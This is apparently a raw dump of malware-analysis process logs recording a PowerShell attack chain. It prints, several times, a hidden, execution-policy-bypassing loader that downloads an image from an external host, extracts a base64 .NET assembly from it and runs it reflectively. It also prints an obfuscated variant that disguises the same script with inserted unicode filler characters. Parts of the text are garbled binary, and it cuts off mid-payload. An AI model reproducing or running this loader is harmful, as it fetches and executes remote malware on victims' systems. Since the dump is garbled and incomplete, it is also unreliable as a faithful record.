'https://uploaddeimagens.com.br/images/004/666/683/original/js.jpg?1700183864';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<>';$endFlag = '<>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0LjQ2ZXNhYnlyZXZvY2VydGNhdG5vY2h0aXdwdGZlbGlmZGlvcmQvODkuMDUyLjI5LjE5Ly86cHR0aA==' , 'dfdfd' , 'dfdf' , 'dfdf' , 'dadsa' , 'de' , 'cu'))"" (UID: 00000000-00004012)48:Tacb,Process "powershell.exe" with commandline "-windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/666/683/original/js.jpg?1700183864';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<>';$endFlag = '<>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0LjQ2ZXNhYnlyZXZvY2VydGNhdG5vY2h0aXdwdGZlbGlmZGlvcmQvODkuMDUyLjI5LjE5Ly86cHR0aA==' , 'dfdfd' , 'dfdf' , 'dfdf' , 'dadsa' , 'de' , 'cu'))"" (UID: 00000000-00004012, Additional Context: "C:\Windows\System32\WindowsPowerShell\v1.\powershell.exe" windowstyle hidden executionpolicy bypass NoProfile command "$imageUrl 'https://uploaddeimagens.com.br/images/4/666/683/original/js.jpg?17183864'[System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>) [System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>) [System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>)[System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>) + <>.Length4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB12B9BB2DAE29E4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB8493114D2CACB5E9937B1B449DCA1D8A78144C5F67AD4ADAE29E8A66A781CAD7AC22775EC4E7C11213AE43434B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB849311[System.Reflection.Assembly]::Load(4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB12B9BB2DAE29E4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB8493114D2CACB5E9937B1B449DCA1D8A78144C5F67AD4ADAE29E8A66A781CAD7AC22775EC4E7C11213AE43434B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB849311).GetType('Fiber.Home').GetMethod('VAI').Invoke($null ('dHhLjQ2ZXNhYnlyZXZvY2VydGNhdG5vY2haXdwdGZlbGlmZGlvcmQvODkuMDUyLjI5LjE5Ly86cHRaA'; K+-zd��'r�b��+k�x"��+^�+��M�mw(v)�Q1|�R��)��r��9�@HN�I0M ��{D��xL_z��)��f�x�z�'u�N|�44��M�mw(v)�Q1|�R��)��r��9�@HN�I0")49:T44b,Process "powershell.exe" with commandline "-windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/666/683/original/js.jpg?1700183864';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<>';$endFlag = '<>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0LjQ2ZXNhYnlyZXZvY2VydGNhdG5vY2h0aXdwdGZlbGlmZGlvcmQvODkuMDUyLjI5LjE5Ly86cHR0aA==' , 'dfdfd' , 'dfdf' , 'dfdf' , 'dadsa' , 'de' , 'cu'))"" (UID: 00000000-00004012)4a:T308d,"-command "$Codigo = 'J\u265b\u265aBp\u265b\u265aG0\u265b\u265aYQBn\u265b\u265aGU\u265b\u265aVQBy\u265b\u265aGw\u265b\u265aI\u265b\u265a\u265b\u265a9\u265b\u265aC\u265b\u265a\u265b\u265aJwBo\u265b\u265aHQ\u265b\u265ad\u265b\u265aBw\u265b\u265aHM\u265b\u265aOg\u265b\u265av\u265b\u265aC8\u265b\u265adQBw\u265b\u265aGw\u265b\u265abwBh\u265b\u265aGQ\u265b\u265aZ\u265b\u265aBl\u265b\u265aGk\u265b\u265abQBh\u265b\u265aGc\u265b\u265aZQBu\u265b\u265aHM\u265b\u265aLgBj\u265b\u265aG8\u265b\u265abQ\u265b\u265au\u265b\u265aGI\u265b\u265acg\u265b\u265av\u265b\u265aGk\u265b\u265abQBh\u265b\u265aGc\u265b\u265aZQBz\u265b\u265aC8\u265b\u265aM\u265b\u265a\u265b\u265aw\u265b\u265aDQ\u265b\u265aLw\u265b\u265a2\u265b\u265aDY\u265b\u265aNg\u265b\u265av\u265b\u265aDY\u265b\u265aO\u265b\u265a\u265b\u265az\u265b\u265aC8\u265b\u265abwBy\u265b\u265aGk\u265b\u265aZwBp\u265b\u265aG4\u265b\u265aYQBs\u265b\u265aC8\u265b\u265aagBz\u265b\u265aC4\u265b\u265aagBw\u265b\u265aGc\u265b\u265aPw\u265b\u265ax\u265b\u265aDc\u265b\u265aM\u265b\u265a\u265b\u265aw\u265b\u265aDE\u265b\u265aO\u265b\u265a\u265b\u265az\u265b\u265aDg\u265b\u265aNg\u265b\u265a0\u265b\u265aCc\u265b\u265aOw\u265b\u265ak\u265b\u265aHc\u265b\u265aZQBi\u265b\u265aEM\u265b\u265ab\u265b\u265aBp\u265b\u265aGU\u265b\u265abgB0\u265b\u265aC\u265b\u265a\u265b\u265aPQ\u265b\u265ag\u265b\u265aE4\u265b\u265aZQB3\u265b\u265aC0\u265b\u265aTwBi\u265b\u265aGo\u265b\u265aZQBj\u265b\u265aHQ\u265b\u265aI\u265b\u265aBT\u265b\u265aHk\u265b\u265acwB0\u265b\u265aGU\u265b\u265abQ\u265b\u265au\u265b\u265aE4\u265b\u265aZQB0\u265b\u265aC4\u265b\u265aVwBl\u265b\u265aGI\u265b\u265aQwBs\u265b\u265aGk\u265b\u265aZQBu\u265b\u265aHQ\u265b\u265aOw\u265b\u265ak\u265b\u265aGk\u265b\u265abQBh\u265b\u265aGc\u265b\u265aZQBC\u265b\u265aHk\u265b\u265ad\u265b\u265aBl\u265b\u265aHM\u265b\u265aI\u265b\u265a\u265b\u265a9\u265b\u265aC\u265b\u265a\u265b\u265aJ\u265b\u265aB3\u265b\u265aGU\u265b\u265aYgBD\u265b\u265aGw\u265b\u265aaQBl\u265b\u265aG4\u265b\u265ad\u265b\u265a\u265b\u265au\u265b\u265aEQ\u265b\u265abwB3\u265b\u265aG4\u265b\u265ab\u265b\u265aBv\u265b\u265aGE\u265b\u265aZ\u265b\u265aBE\u265b\u265aGE\u265b\u265ad\u265b\u265aBh\u265b\u265aCg\u265b\u265aJ\u265b\u265aBp\u265b\u265aG0\u265b\u265aYQBn\u265b\u265aGU\u265b\u265aVQBy\u265b\u265aGw\u265b\u265aKQ\u265b\u265a7\u265b\u265aCQ\u265b\u265aaQBt\u265b\u265aGE\u265b\u265aZwBl\u265b\u265aFQ\u265b\u265aZQB4\u265b\u265aHQ\u265b\u265aI\u265b\u265a\u265b\u265a9\u265b\u265aC\u265b\u265a\u265b\u265aWwBT\u265b\u265aHk\u265b\u265acwB0\u265b\u265aGU\u265b\u265abQ\u265b\u265au\u265b\u265aFQ\u265b\u265aZQB4\u265b\u265aHQ\u265b\u265aLgBF\u265b\u265aG4\u265b\u265aYwBv\u265b\u265aGQ\u265b\u265aaQBu\u265b\u265aGc\u265b\u265aXQ\u265b\u265a6\u265b\u265aDo\u265b\u265aVQBU\u265b\u265aEY\u265b\u265aO\u265b\u265a\u265b\u265au\u265b\u265aEc\u265b\u265aZQB0\u265b\u265aFM\u265b\u265ad\u265b\u265aBy\u265b\u265aGk\u265b\u265abgBn\u265b\u265aCg\u265b\u265aJ\u265b\u265aBp\u265b\u265aG0\u265b\u265aYQBn\u265b\u265aGU\u265b\u265aQgB5\u265b\u265aHQ\u265b\u265aZQBz\u265b\u265aCk\u265b\u265aOw\u265b\u265ak\u265b\u265aHM\u265b\u265ad\u265b\u265aBh\u265b\u265aHI\u265b\u265ad\u265b\u265aBG\u265b\u265aGw\u265b\u265aYQBn\u265b\u265aC\u265b\u265a\u265b\u265aPQ\u265b\u265ag\u265b\u265aCc\u265b\u265aP\u265b\u265a\u265b\u265a8\u265b\u265aEI\u265b\u265aQQBT\u265b\u265aEU\u265b\u265aNg\u265b\u265a0\u265b\u265aF8\u265b\u265aUwBU\u265b\u265aEE\u265b\u265aUgBU\u265b\u265aD4\u265b\u265aPg\u265b\u265an\u265b\u265aDs\u265b\u265aJ\u265b\u265aBl\u265b\u265aG4\u265b\u265aZ\u265b\u265aBG\u265b\u265aGw\u265b\u265aYQBn\u265b\u265aC\u265b\u265a\u265b\u265aPQ\u265b\u265ag\u265b\u265aCc\u265b\u265aP\u265b\u265a\u265b\u265a8\u265b\u265aEI\u265b\u265aQQBT\u265b\u265aEU\u265b\u265aNg\u265b\u265a0\u265b\u265aF8\u265b\u265aRQBO\u265b\u265aEQ\u265b\u265aPg\u265b\u265a+\u265b\u265aCc\u265b\u265aOw\u265b\u265ak\u265b\u265aHM\u265b\u265ad\u265b\u265aBh\u265b\u265aHI\u265b\u265ad\u265b\u265aBJ\u265b\u265aG4\u265b\u265aZ\u265b\u265aBl\u265b\u265aHg\u265b\u265aI\u265b\u265a\u265b\u265a9\u265b\u265aC\u265b\u265a\u265b\u265aJ\u265b\u265aBp\u265b\u265aG0\u265b\u265aYQBn\u265b\u265aGU\u265b\u265aV\u265b\u265aBl\u265b\u265aHg\u265b\u265ad\u265b\u265a\u265b\u265au\u265b\u265aEk\u265b\u265abgBk\u265b\u265aGU\u265b\u265ae\u265b\u265aBP\u265b\u265aGY\u265b\u265aK\u265b\u265a\u265b\u265ak\u265b\u265aHM\u265b\u265ad\u265b\u265aBh\u265b\u265aHI\u265b\u265ad\u265b\u265aBG\u265b\u265aGw\u265b\u265aYQBn\u265b\u265aCk\u265b\u265aOw\u265b\u265ak\u265b\u265aGU\u265b\u265abgBk\u265b\u265aEk\u265b\u265abgBk\u265b\u265aGU\u265b\u265ae\u265b\u265a\u265b\u265ag\u265b\u265aD0\u265b\u265aI\u265b\u265a\u265b\u265ak\u265b\u265aGk\u265b\u265abQBh\u265b\u265aGc\u265b\u265aZQBU\u265b\u265aGU\u265b\u265ae\u265b\u265aB0\u265b\u265aC4\u265b\u265aSQBu\u265b\u265aGQ\u265b\u265aZQB4\u265b\u265aE8\u265b\u265aZg\u265b\u265ao\u265b\u265aCQ\u265b\u265aZQBu\u265b\u265aGQ\u265b\u265aRgBs\u265b\u265aGE\u265b\u265aZw\u265b\u265ap\u265b\u265aDs\u265b\u265aJ\u265b\u265aBz\u265b\u265aHQ\u265b\u265aYQBy\u265b\u265aHQ\u265b\u265aSQBu\u265b\u265aGQ\u265b\u265aZQB4\u265b\u265aC\u265b\u265a\u265b\u265aLQBn\u265b\u265aGU\u265b\u265aI\u265b\u265a\u265b\u265aw\u265b\u265aC\u265b\u265a\u265b\u265aLQBh\u265b\u265aG4\u265b\u265aZ\u265b\u265a\u265b\u265ag\u265b\u265aCQ\u265b\u265aZQBu\u265b\u265aGQ\u265b\u265aSQBu\u265b\u265aGQ\u265b\u265aZQB4\u265b\u265aC\u265b\u265a\u265b\u265aLQBn\u265b\u265aHQ\u265b\u265aI\u265b\u265a\u265b\u265ak\u265b\u265aHM\u265b\u265ad\u265b\u265aBh\u265b\u265aHI\u265b\u265ad\u265b\u265aBJ\u265b\u265aG4\u265b\u265aZ\u265b\u265aBl\u265b\u265aHg\u265b\u265aOw\u265b\u265ak\u265b\u265aHM\u265b\u265ad\u265b\u265aBh\u265b\u265aHI\u265b\u265ad\u265b\u265aBJ\u265b\u265aG4\u265b\u265aZ\u265b\u265aBl\u265b\u265aHg\u265b\u265aI\u265b\u265a\u265b\u265ar\u265b\u265aD0\u265b\u265aI\u265b\u265a\u265b\u265ak\u265b\u265aHM\u265b\u265ad\u265b\u265aBh\u265b\u265aHI\u265b\u265ad\u265b\u265aBG\u265b\u265aGw\u265b\u265aYQBn\u265b\u265aC4\u265b\u265aT\u265b\u265aBl\u265b\u265aG4\u265b\u265aZwB0\u265b\u265aGg\u265b\u265aOw\u265b\u265ak\u265b\u265aGI\u265b\u265aYQBz\u265b\u265aGU\u265b\u265aNg\u265b\u265a0\u265b\u265aEw\u265b\u265aZQBu\u265b\u265aGc\u265b\u265ad\u265b\u265aBo\u265b\u265aC\u265b\u265a\u265b\u265aPQ\u265b\u265ag\u265b\u265aCQ\u265b\u265aZQBu\u265b\u265aGQ\u265b\u265aSQBu\u265b\u265aGQ\u265b\u265aZQB4\u265b\u265aC\u265b\u265a\u265b\u265aLQ\u265b\u265ag\u265b\u265aCQ\u265b\u265acwB0\u265b\u265aGE\u265b\u265acgB0\u265b\u265aEk\u265b\u265abgBk\u265b\u265aGU\u265b\u265ae\u265b\u265a\u265b\u265a7\u265b\u265aCQ\u265b\u265aYgBh\u265b\u265aHM\u265b\u265aZQ\u265b\u265a2\u265b\u265aDQ\u265b\u265aQwBv\u265b\u265aG0\u265b\u265abQBh\u265b\u265aG4\u265b\u265aZ\u265b\u265a\u265b\u265ag\u265b\u265aD0\u265b\u265aI\u265b\u265a\u265b\u265ak\u265b\u265aGk\u265b\u265abQBh\u265b\u265aGc\u265b\u265aZQBU\u265b\u265aGU\u265b\u265ae\u265b\u265aB0\u265b\u265aC4\u265b\u265aUwB1\u265b\u265aGI\u265b\u265acwB0\u265b\u265aHI\u265b\u265aaQBu\u265b\u265aGc\u265b\u265aK\u265b\u265a\u265b\u265ak\u265b\u265aHM\u265b\u265ad\u265b\u265aBh\u265b\u265aHI\u265b\u265ad\u265b\u265aBJ\u265b\u265aG4\u265b\u265aZ\u265b\u265aBl\u265b\u265aHg\u265b\u265aL\u265b\u265a\u265b\u265ag\u265b\u265aCQ\u265b\u265aYgBh\u265b\u265aHM\u265b\u265aZQ\u265b\u265a2\u265b\u265aDQ\u265b\u265aT\u265b\u265aBl\u265b\u265aG4\u265b\u265aZwB0\u265b\u265aGg\u265b\u265aKQ\u265b\u265a7\u265b\u265aCQ\u265b\u265aYwBv\u265b\u265aG0\u265b\u265abQBh\u265b\u265aG4\u265b\u265aZ\u265b\u265aBC\u265b\u265aHk\u265b\u265ad\u265b\u265aBl\u265b\u265aHM\u265b\u265aI\u265b\u265a\u265b\u265a9\u265b\u265aC\u265b\u265a\u265b\u265aWwBT\u265b\u265aHk\u265b\u265acwB0\u265b\u265aGU\u265b\u265abQ\u265b\u265au\u265b\u265aEM\u265b\u265abwBu\u265b\u265aHY\u265b\u265aZQBy\u265b\u265aHQ\u265b\u265aXQ\u265b\u265a6\u265b\u265aDo\u265b\u265aRgBy\u265b\u265aG8\u265b\u265abQBC\u265b\u265aGE\u265b\u265acwBl\u265b\u265aDY\u265b\u265aN\u265b\u265aBT\u265b\u265aHQ\u265b\u265acgBp\u265b\u265aG4\u265b\u265aZw\u265b\u265ao\u265b\u265aCQ\u265b\u265aYgBh\u265b\u265aHM\u265b\u265aZQ\u265b\u265a2\u265b\u265aDQ\u265b\u265aQwBv\u265b\u265aG0\u265b\u265abQBh\u265b\u265aG4\u265b\u265aZ\u265b\u265a\u265b\u265ap\u265b\u265aDs\u265b\u265aJ\u265b\u265aBs\u265b\u265aG8\u265b\u265aYQBk\u265b\u265aGU\u265b\u265aZ\u265b\u265aBB\u265b\u265aHM\u265b\u265acwBl\u265b\u265aG0\u265b\u265aYgBs\u265b\u265aHk\u265b\u265aI\u265b\u265a\u265b\u265a9\u265b\u265aC\u265b\u265a\u265b\u265aWwBT\u265b\u265aHk\u265b\u265acwB0\u265b\u265aGU\u265b\u265abQ\u265b\u265au\u265b\u265aFI\u265b\u265aZQBm\u265b\u265aGw\u265b\u265aZQBj\u265b\u265aHQ\u265b\u265aaQBv\u265b\u265aG4\u265b\u265aLgBB\u265b\u265aHM\u265b\u265acwBl\u265b\u265aG0\u265b\u265aYgBs\u265b\u265aHk\u265b\u265aXQ\u265b\u265a6\u265b\u265aDo\u265b\u265aT\u265b\u265aBv\u265b\u265aGE\u265b\u265aZ\u265b\u265a\u265b\u265ao\u265b\u265aCQ\u265b\u265aYwBv\u265b\u265aG0\u265b\u265abQBh\u265b\u265aG4\u265b\u265aZ\u265b\u265aBC\u265b\u265aHk\u265b\u265ad\u265b\u265aBl\u265b\u265aHM\u265b\u265aKQ\u265b\u265a7\u265b\u265aCQ\u265b\u265ad\u265b\u265aB5\u265b\u265aH\u265b\u265a\u265b\u265aZQ\u265b\u265ag\u265b\u265aD0\u265b\u265aI\u265b\u265a\u265b\u265ak\u265b\u265aGw\u265b\u265abwBh\u265b\u265aGQ\u265b\u265aZQBk\u265b\u265aEE\u265b\u265acwBz\u265b\u265aGU\u265b\u265abQBi\u265b\u265aGw\u265b\u265aeQ\u265b\u265au\u265b\u265aEc\u265b\u265aZQB0\u265b\u265aFQ\u265b\u265aeQBw\u265b\u265aGU\u265b\u265aK\u265b\u265a\u265b\u265an\u265b\u265aEY\u265b\u265aaQBi\u265b\u265aGU\u265b\u265acg\u265b\u265au\u265b\u265aEg\u265b\u265abwBt\u265b\u265aGU\u265b\u265aJw\u265b\u265ap\u265b\u265aDs\u265b\u265aJ\u265b\u265aBt\u265b\u265aGU\u265b\u265ad\u265b\u265aBo\u265b\u265aG8\u265b\u265aZ\u265b\u265a\u265b\u265ag\u265b\u265aD0\u265b\u265aI\u265b\u265a\u265b\u265ak\u265b\u265aHQ\u265b\u265aeQBw\u265b\u265aGU\u265b\u265aLgBH\u265b\u265aGU\u265b\u265ad\u265b\u265aBN\u265b\u265aGU\u265b\u265ad\u265b\u265aBo\u265b\u265aG8\u265b\u265aZ\u265b\u265a\u265b\u265ao\u265b\u265aCc\u265b\u265aVgBB\u265b\u265aEk\u265b\u265aJw\u265b\u265ap\u265b\u265aC4\u265b\u265aSQBu\u265b\u265aHY\u265b\u265abwBr\u265b\u265aGU\u265b\u265aK\u265b\u265a\u265b\u265ak\u265b\u265aG4\u265b\u265adQBs\u265b\u265aGw\u265b\u265aL\u265b\u265a\u265b\u265ag\u265b\u265aFs\u265b\u265abwBi\u265b\u265aGo\u265b\u265aZQBj\u265b\u265aHQ\u265b\u265aWwBd\u265b\u265aF0\u265b\u265aI\u265b\u265a\u265b\u265ao\u265b\u265aCc\u265b\u265aZ\u265b\u265aBI\u265b\u265aGg\u265b\u265aM\u265b\u265aBM\u265b\u265aGo\u265b\u265aUQ\u265b\u265ay\u265b\u265aFo\u265b\u265aW\u265b\u265aBO\u265b\u265aGg\u265b\u265aWQBu\u265b\u265aGw\u265b\u265aeQBa\u265b\u265aFg\u265b\u265aWgB2\u265b\u265aFk\u265b\u265aMgBW\u265b\u265aHk\u265b\u265aZ\u265b\u265aBH\u265b\u265aE4\u265b\u265aa\u265b\u265aBk\u265b\u265aEc\u265b\u265aNQB2\u265b\u265aFk\u265b\u265aMgBo\u265b\u265aD\u265b\u265a\u265b\u265aYQBY\u265b\u265aGQ\u265b\u265adwBk\u265b\u265aEc\u265b\u265aWgBs\u265b\u265aGI\u265b\u265aRwBs\u265b\u265aG0\u265b\u265aWgBH\u265b\u265aGw\u265b\u265adgBj\u265b\u265aG0\u265b\u265aUQB2\u265b\u265aE8\u265b\u265aR\u265b\u265aBr\u265b\u265aHU\u265b\u265aTQBE\u265b\u265aFU\u265b\u265aeQBM\u265b\u265aGo\u265b\u265aSQ\u265b\u265a1\u265b\u265aEw\u265b\u265aagBF\u265b\u265aDU\u265b\u265aT\u265b\u265aB5\u265b\u265aDg\u265b\u265aNgBj\u265b\u265aEg\u265b\u265aUg\u265b\u265aw\u265b\u265aGE\u265b\u265aQQ\u265b\u265a9\u265b\u265aD0\u265b\u265aJw\u265b\u265ag\u265b\u265aCw\u265b\u265aI\u265b\u265a\u265b\u265an\u265b\u265aGQ\u265b\u265aZgBk\u265b\u265aGY\u265b\u265aZ\u265b\u265a\u265b\u265an\u265b\u265aC\u265b\u265a\u265b\u265aL\u265b\u265a\u265b\u265ag\u265b\u265aCc\u265b\u265aZ\u265b\u265aBm\u265b\u265aGQ\u265b\u265aZg\u265b\u265an\u265b\u265aC\u265b\u265a\u265b\u265aL\u265b\u265a\u265b\u265ag\u265b\u265aCc\u265b\u265aZ\u265b\u265aBm\u265b\u265aGQ\u265b\u265aZg\u265b\u265an\u265b\u265aC\u265b\u265a\u265b\u265aL\u265b\u265a\u265b\u265ag\u265b\u265aCc\u265b\u265aZ\u265b\u265aBh\u265b\u265aGQ\u265b\u265acwBh\u265b\u265aCc\u265b\u265aI\u265b\u265a\u265b\u265as\u265b\u265aC\u265b\u265a\u265b\u265aJwBk\u265b\u265aGU\u265b\u265aJw\u265b\u265ag\u265b\u265aCw\u265b\u265aI\u265b\u265a\u265b\u265an\u265b\u265aGM\u265b\u265adQ\u265b\u265an\u265b\u265aCk\u265b\u265aKQ\u265b\u265a=';$OWjuxd = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($codigo.replace('\u265b\u265a','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxd"" on 2023-11-30.19:32:31.4134b:T3502,Process "powershell.exe" with commandline "-command "$Codigo = 'J\u265b\u265aBp\u265b\u265aG0\u265b\u265aYQBn\u265b\u265aGU\u265b\u265aVQBy\u265b\u265aGw\u265b\u265aI\u265b\u265a\u265b\u265a9\u265b\u265aC\u265b\u265a\u265b\u265aJwBo\u265b\u265aHQ\u265b\u265ad\u265b\u265aBw\u265b\u265aHM\u265b\u265aOg\u265b\u265av\u265b\u265aC8\u265b\u265adQBw\u265b\u265aGw\u265b\u265abwBh\u265b\u265aGQ\u265b\u265aZ\u265b\u265aBl\u265b\u265aGk\u265b\u265abQBh\u265b\u265aGc\u265b\u265aZQBu\u265b\u265aHM\u265b\u265aLgBj\u265b\u265aG8\u265b\u265abQ\u265b\u265au\u265b\u265aGI\u265b\u265acg\u265b\u265av\u265b\u265aGk\u265b\u265abQBh\u265b\u265aGc\u265b\u265aZQBz\u265b\u265aC8\u265b\u265aM\u265b\u265a\u265b\u265aw\u265b\u265aDQ\u265b\u265aLw\u265b\u265a2\u265b\u265aDY\u265b\u265aNg\u265b\u265av\u265b\u265aDY\u265b\u265aO\u265b\u265a\u265b\u265az\u265b\u265aC8\u265b\u265abwBy\u265b\u265aGk\u265b\u265aZwBp\u265b\u265aG4\u265b\u265aYQBs\u265b\u265aC8\u265b\u265aagBz\u265b\u265aC4\u265b\u265aagBw\u265b\u265aGc\u265b\u265aPw\u265b\u265ax\u265b\u265aDc\u265b\u265aM\u265b\u265a\u265b\u265aw\u265b\u265aDE\u265b\u265aO\u265b\u265a\u265b\u265az\u265b\u265aDg\u265b\u265aNg\u265b\u265a0\u265b\u265aCc\u265b\u265aOw\u265b\u265ak\u265b\u265aHc\u265b\u265aZQBi\u265b\u265aEM\u265b\u265ab\u265b\u265aBp\u265b\u265aGU\u265b\u265abgB0\u265b\u265aC\u265b\u265a\u265b\u265aPQ\u265b\u265ag\u265b\u265aE4\u265b\u265aZQB3\u265b\u265aC0\u265b\u265aTwBi\u265b\u265aGo\u265b\u265aZQBj\u265b\u265aHQ\u265b\u265aI\u265b\u265aBT\u265b\u265aHk\u265b\u265acwB0\u265b\u265aGU\u265b\u265abQ\u265b\u265au\u265b\u265aE4\u265b\u265aZQB0\u265b\u265aC4\u265b\u265aVwBl\u265b\u265aGI\u265b\u265aQwBs\u265b\u265aGk\u265b\u265aZQBu\u265b\u265aHQ\u265b\u265aOw\u265b\u265ak\u265b\u265aGk\u265b\u265abQBh\u265b\u265aGc\u265b\u265aZQBC\u265b\u265aHk\u265b\u265ad\u265b\u265aBl\u265b\u265aHM\u265b\u265aI\u265b\u265a\u265b\u265a9\u265b\u265aC\u265b\u265a\u265b\u265aJ\u265b\u265aB3\u265b\u265aGU\u265b\u265aYgBD\u265b\u265aGw\u265b\u265aaQBl\u265b\u265aG4\u265b\u265ad\u265b\u265a\u265b\u265au\u265b\u265aEQ\u265b\u265abwB3\u265b\u265aG4\u265b\u265ab\u265b\u265aBv\u265b\u265aGE\u265b\u265aZ\u265b\u265aBE\u265b\u265aGE\u265b\u265ad\u265b\u265aBh\u265b\u265aCg\u265b\u265aJ\u265b\u265aBp\u265b\u265aG0\u265b\u265aYQBn\u265b\u265aGU\u265b\u265aVQBy\u265b\u265aGw\u265b\u265aKQ\u265b\u265a7\u265b\u265aCQ\u265b\u265aaQBt\u265b\u265aGE\u265b\u265aZwBl\u265b\u265aFQ\u265b\u265aZQB4\u265b\u265aHQ\u265b\u265aI\u265b\u265a\u265b\u265a9\u265b\u265aC\u265b\u265a\u265b\u265aWwBT\u265b\u265aHk\u265b\u265acwB0\u265b\u265aGU\u265b\u265abQ\u265b\u265au\u265b\u265aFQ\u265b\u265aZQB4\u265b\u265aHQ\u265b\u265aLgBF\u265b\u265aG4\u265b\u265aYwBv\u265b\u265aGQ\u265b\u265aaQBu\u265b\u265aGc\u265b\u265aXQ\u265b\u265a6\u265b\u265aDo\u265b\u265aVQBU\u265b\u265aEY\u265b\u265aO\u265b\u265a\u265b\u265au\u265b\u265aEc\u265b\u265aZQB0\u265b\u265aFM\u265b\u265ad\u265b\u265aBy\u265b\u265aGk\u265b\u265abgBn\u265b\u265aCg\u265b\u265aJ\u265b\u265aBp\u265b\u265aG0\u265b\u265aYQBn\u265b\u265aGU\u265b\u265aQgB5\u265b\u265aHQ\u265b\u265aZQBz\u265b\u265aCk\u265b\u265aOw\u265b\u265ak\u265b\u265aHM\u265b\u265ad\u265b\u265aBh\u265b\u265aHI\u265b\u265ad\u265b\u265aBG\u265b\u265aGw\u265b\u265aYQBn\u265b\u265aC\u265b\u265a\u265b\u265aPQ\u265b\u265ag\u265b\u265aCc\u265b\u265aP\u265b\u265a\u265b\u265a8\u265b\u265aEI\u265b\u265aQQBT\u265b\u265aEU\u265b\u265aNg\u265b\u265a0\u265b\u265aF8\u265b\u265aUwBU\u265b\u265aEE\u265b\u265aUgBU\u265b\u265aD4\u265b\u265aPg\u265b\u265an\u265b\u265aDs\u265b\u265aJ\u265b\u265aBl\u265b\u265aG4\u265b\u265aZ\u265b\u265aBG\u265b\u265aGw\u265b\u265aYQBn\u265b\u265aC\u265b\u265a\u265b\u265aPQ\u265b\u265ag\u265b\u265aCc\u265b\u265aP\u265b\u265a\u265b\u265a8\u265b\u265aEI\u265b\u265aQQBT\u265b\u265aEU\u265b\u265aNg\u265b\u265a0\u265b\u265aF8\u265b\u265aRQBO\u265b\u265aEQ\u265b\u265aPg\u265b\u265a+\u265b\u265aCc\u265b\u265aOw\u265b\u265ak\u265b\u265aHM\u265b\u265ad\u265b\u265aBh\u265b\u265aHI\u265b\u265ad\u265b\u265aBJ\u265b\u265aG4\u265b\u265aZ\u265b\u265aBl\u265b\u265aHg\u265b\u265aI\u265b\u265a\u265b\u265a9\u265b\u265aC\u265b\u265a\u265b\u265aJ\u265b\u265aBp\u265b\u265aG0\u265b\u265aYQBn\u265b\u265aGU\u265b\u265aV\u265b\u265aBl\u265b\u265aHg\u265b\u265ad\u265b\u265a\u265b\u265au\u265b\u265aEk\u265b\u265abgBk\u265b\u265aGU\u265b\u265ae\u265b\u265aBP\u265b\u265aGY\u265b\u265aK\u265b\u265a\u265b\u265ak\u265b\u265aHM\u265b\u265ad\u265b\u265aBh\u265b\u265aHI\u265b\u265ad\u265b\u265aBG\u265b\u265aGw\u265b\u265aYQBn\u265b\u265aCk\u265b\u265aOw\u265b\u265ak\u265b\u265aGU\u265b\u265abgBk\u265b\u265aEk\u265b\u265abgBk\u265b\u265aGU\u265b\u265ae\u265b\u265a\u265b\u265ag\u265b\u265aD0\u265b\u265aI\u265b\u265a\u265b\u265ak\u265b\u265aGk\u265b\u265abQBh\u265b\u265aGc\u265b\u265aZQBU\u265b\u265aGU\u265b\u265ae\u265b\u265aB0\u265b\u265aC4\u265b\u265aSQBu\u265b\u265aGQ\u265b\u265aZQB4\u265b\u265aE8\u265b\u265aZg\u265b\u265ao\u265b\u265aCQ\u265b\u265aZQBu\u265b\u265aGQ\u265b\u265aRgBs\u265b\u265aGE\u265b\u265aZw\u265b\u265ap\